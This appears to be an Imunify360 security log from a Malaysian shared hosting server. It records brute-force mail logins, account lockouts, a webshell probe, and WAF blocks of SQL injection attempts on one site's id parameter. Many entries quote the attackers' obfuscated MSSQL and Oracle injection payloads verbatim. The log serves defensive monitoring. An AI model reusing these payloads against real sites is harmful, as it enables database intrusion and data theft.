2026-02-02 05:57:52 dovecot_login authenticator failed for H=ec2-3-147-49-126.us-east-2.compute.amazonaws.com (ADMIN) [3.147.49.126]:50868: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/9025=(select/**/'~'+(select/**/(case/**/when/**/(9025=9025)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:57:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:57:05 dovecot_login authenticator failed for H=(ZM8uUK0UP) [185.230.124.69]:65524: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:57:08 dovecot_login authenticator failed for H=(AZ3jqst) [165.154.217.204]:50246: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:57:16 dovecot_login authenticator failed for H=(zWNY0rtzs) [77.83.39.253]:3788: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:57:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50062: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.207.194.159
country_id: 1269750
domain: www.mail.fimco.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/fimco/mail.fimco.com.my/wp-admin||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AND/**/7135=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(7135=7135)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/8704=(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(8704=8704)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'/**/FOR/**/XML/**/PATH(''))# htAjxb0r||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-02 05:58:18 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:58172: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:58:26 dovecot_login authenticator failed for H=(QrDQfOSJx) [178.16.52.139]:57008: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:58:39 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 05:58:53 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:37248: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:58:02 dovecot_login authenticator failed for H=(3Y7rVSQad) [185.230.124.69]:50547: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:58:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59453: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8704=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8704=8704)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))# htAjxb0r HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:58:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:58:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:58:06 dovecot_login authenticator failed for H=(SiaDkRSh) [165.154.217.204]:55206: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:58:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-02 05:58:34 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:37948: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:58:04 dovecot_login authenticator failed for H=(DXngvU2l) [77.83.39.253]:56123: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/6231=(select/**/'~'+(select/**/(case/**/when/**/(6231=6231)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/8704=(select/**/'~'+(select/**/(case/**/when/**/(8704=8704)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))# htajxb0r||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:58:26 dovecot_login authenticator failed for H=(m5ZnqbCsz8) [158.94.208.175]:64072: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/sysusers.d/dbus.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:59:59 dovecot_login authenticator failed for H=(R7Lv8u) [158.94.208.175]:53153: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:59:04 dovecot_login authenticator failed for H=(TIxQO0aW) [165.154.217.204]:60351: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/3168=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(3168=3168)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:59:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:59:18 dovecot_login authenticator failed for H=(xzt7ay5tN) [185.230.124.69]:65249: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:59:22 dovecot_login authenticator failed for H=(Fy37xYVu) [165.154.217.204]:61983: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:59:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64532: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:59:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:59:14 dovecot_login authenticator failed for H=(Enx21vg) [178.16.52.139]:50855: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:59:16 dovecot_login authenticator failed for H=(dSFHtRS) [77.83.39.253]:60675: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/9406=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(9406=9406)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual) and (\"rtltd1hk\" like \"rtltd1hk\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/9406=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(9406=9406)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND (\"RTLTD1hk\" LIKE \"RTLTD1hk\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:59:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44798: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 06:00:01 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:33212: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/8337=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8337=8337)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/tmpfiles.d/named.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:00:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64542: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.183.114.175
country_id: 3469034
description:
2026-02-02 06:00:36 dovecot_login authenticator failed for H=([179.183.114.175]) [179.183.114.175]:35234: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-02 06:00:41 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:31554: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:00:04 dovecot_login authenticator failed for H=(NWf4AS) [77.83.39.253]:41846: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/3666=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(3666=3666)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual) and (((1017=1017||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:00:15 dovecot_login authenticator failed for H=(OJdjRX6P) [185.230.124.69]:57008: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 06:00:56 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:21549: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:00:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-02-02 06:00:20 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:39766: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:00:48 dovecot_login authenticator failed for H=(bU7q4vL9) [165.154.217.204]:56633: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/3666=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3666=3666)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND (((1017=1017||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:00:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:00:09 dovecot_login authenticator failed for H=(zVhpzLa) [165.154.217.204]:49709: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6464=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(6464=6464)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)# w3ds8vjG HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:00:57 dovecot_login authenticator failed for H=(OsbQEx) [158.94.208.175]:65329: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:00:07 dovecot_login authenticator failed for H=(vCyTOPwO) [178.16.52.139]:54149: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-02 06:00:12 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:38959: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:01:06 dovecot_login authenticator failed for H=(2Pq6zFUTO) [165.154.217.204]:58263: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:01:15 dovecot_login authenticator failed for H=(Dx4hXVjuQ) [77.83.39.253]:56476: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:01:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33086: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:01:04 dovecot_login authenticator failed for H=(YZFnMnb) [178.16.52.139]:53341: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:01:12 dovecot_login authenticator failed for H=(C1MGn2bd) [185.230.124.69]:61681: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:01:34 dovecot_login authenticator failed for H=(oO1deh) [158.94.208.175]:55654: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5914=(select/**/upper(xmltype(chr(60)||chr(58)||%27~%27||(select/**/(case/**/when/**/(5914=5914)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(62)))/**/from/**/dual) and (\"kyzempj5\" like \"kyzempj5||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/5914=(sELeCt/**/uPPer(xMLTYPe(chr(60)||cHR(58)||'~'||(sELecT/**/(CAse/**/whEN/**/(5914=5914)/**/ThEN/**/1/**/ElSe/**/0/**/EnD)/**/From/**/duaL)||'~'||CHr(62)))/**/FROm/**/duAl) AND (\"kYZEMPj5\" LIKE \"kYZEMPj5||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:01:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:01:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:01:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62274: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/10577=ctxsys.drithsx.sn(9946,chr(126)||'~'||(select/**/(case/**/when/**/(10577=10577)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) and 'sn1dbxqj%'='sn1dbxqj||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:02:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57375: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:02:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:02:07 dovecot_login authenticator failed for H=(VqfQRrgE) [158.94.208.175]:61314: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:02:08 dovecot_login authenticator failed for H=(CWbWxwWDZi) [185.230.124.69]:63505: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-02 06:02:14 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:36292: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:02:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:02:05 dovecot_login authenticator failed for H=(jNHhLVec) [178.16.52.139]:56186: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:02:02 dovecot_login authenticator failed for H=(JOGo3CdrY) [77.83.39.253]:37372: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:02:17 dovecot_login authenticator failed for H=(Hwv7aWi) [69.5.189.21]:56626: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:02:21 dovecot_login authenticator failed for H=(SnxWxum44) [165.154.217.204]:64949: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 83.239.84.130
country_id: 2017370
description:
Feb  2 06:02:46 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account prayerlink has been temporarily locked by Imunify PAM(83.239.84.130)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.227.25.115
country_id: 6252001
description:
2026-02-02 06:02:51 dovecot_plain authenticator failed for H=c-98-227-25-115.hsd1.il.comcast.net (croco) [98.227.25.115]:53998: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')And/**/2108=ctxSYS.DRITHsX.Sn(10516,CHr(126)||%27~%27||(sElect/**/(cAsE/**/WHEN/**/(2108=2108)/**/theN/**/1/**/ElsE/**/0/**/End)/**/fROm/**/DUal)||%27~%27||cHr(126)) AND ('RV4QgRVB' LIKE 'RV4QgRVB||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.144
country_id: 1819730
description:
2026-02-02 06:02:26 dovecot_login authenticator failed for H=(223-197-153-144.static.imsbiz.com) [223.197.153.144]:50522: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"ANd/**/8043=CTXsyS.dRitHSx.sn(9768,CHr(126)||%27~%27||(sElect/**/(cAsE/**/wHeN/**/(8043=8043)/**/tHeN/**/1/**/elsE/**/0/**/eNd)/**/from/**/dUAL)||%27~%27||Chr(126)) AND \"NuBNgqnL\" LIKE \"NuBNgqnL\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/5924=CTXSYS.DRITHSX.SN(2338,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(5924=5924)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))# XSwNIS7M HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:02:02 dovecot_login authenticator failed for H=(Wwa2Cid3) [165.154.217.204]:63484: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.166
country_id: 2750405
domain: vtgroupsb.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/.svn/wc.db||User:vtgroupsb||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
